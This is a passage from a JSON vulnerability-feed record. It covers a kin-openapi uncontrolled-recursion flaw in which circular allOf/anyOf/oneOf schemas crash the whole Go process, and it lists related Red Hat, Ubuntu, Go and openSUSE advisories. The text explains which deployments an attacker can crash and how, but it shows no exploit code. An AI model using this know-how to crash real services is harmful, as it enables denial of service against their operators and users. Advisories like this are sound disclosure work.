`decodeValue` guard: the same `GET /test?data=x` returned a clean `400`:\n\n```\nResponse: 400 \"invalid: parameter \\\"data\\\" in query has an error: circular schema reference detected while decoding\"\nIf you see this line, the process survived.\n```\n\n## Impact\n\nAn unrecoverable, whole-process denial of service. Because the crash is a fatal Go runtime error (not a panic), it cannot be contained by `net/http`'s per-request recovery, so **A:H applies to all host types**, unlike a recoverable-panic bug.\n\nAttack surface, in order of exposure:\n\n- **Applications that load OpenAPI specs from untrusted or semi-trusted sources** (API gateways, spec linters/validators, mock servers, documentation generators). An attacker supplies a spec containing a circular combinator, and any subsequent request/response validation crashes the service. This is the primary remote-attacker scenario.\n- **Applications serving a fixed, trusted spec that happens to contain a circular `allOf`/`anyOf`/`oneOf`.** Here any client request to the affected endpoint crashes the process. The spec author does not need malicious intent; a degenerate recursive combinator is enough. This is a latent reliability bug that becomes remotely triggerable once present.","status":"published","published":"2026-10-15T20:20:37Z","modified":"2026-11-05T23:26:08.883117792Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-674"],"updated_at":"2026-11-06T00:02:13.631839Z"},{"id":"RHSA-2026:82637","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update","status":"published","published":"2026-10-17T10:21:05Z","modified":"2026-10-20T10:43:36.163539737Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:23.547034Z"},{"id":"RHSA-2026:85266","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","status":"published","published":"2026-10-20T10:18:04Z","modified":"2026-10-20T10:43:38.38485781Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:23.547034Z"},{"id":"UBUNTU-CVE-2026-100354","description":"kin-openapi is a Go project for handling OpenAPI files. Prior to 0.149.0, runtime request, response, and direct schema validation lacks cycle detection when an allOf, anyOf, or oneOf chain refers back to an ancestor schema, even though loading and document validation accept the circular reference. A request or response that reaches the affected schema causes unbounded recursion in Schema.visitJSON or openapi3filter.decodeValue and exhausts the Go goroutine stack. The resulting fatal stack overflow cannot be caught with recover and terminates the entire process, including unrelated requests. This issue is fixed in version 0.149.0.","status":"published","published":"2026-10-15T17:17:00Z","modified":"2026-10-28T17:50:26Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T16:55:58.519486Z"},{"id":"GO-2026-6785","title":"kin-openapi: Uncontrolled Recursion on Circular allOf/anyOf/oneOf Schemas Causes Fatal Process Crash in github.com/getkin/kin-openapi","description":"kin-openapi: Uncontrolled Recursion on Circular allOf/anyOf/oneOf Schemas Causes Fatal Process Crash in github.com/getkin/kin-openapi","status":"published","published":"2026-11-05T22:53:53Z","modified":"2026-11-05T23:15:12.651644198Z","updated_at":"2026-11-06T00:02:13.631839Z"},{"id":"openSUSE-SU-2026:12309-1","title":"timoni-0.36.0-1.1 on GA media","description":"These are all security issues fixed in the timoni-0.36.0-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-10-27T00:00:00Z","modified":"2026-10-28T17:23:15.827407426Z","updated_at":"2026-11-02T16:58:40.245664Z"}]}}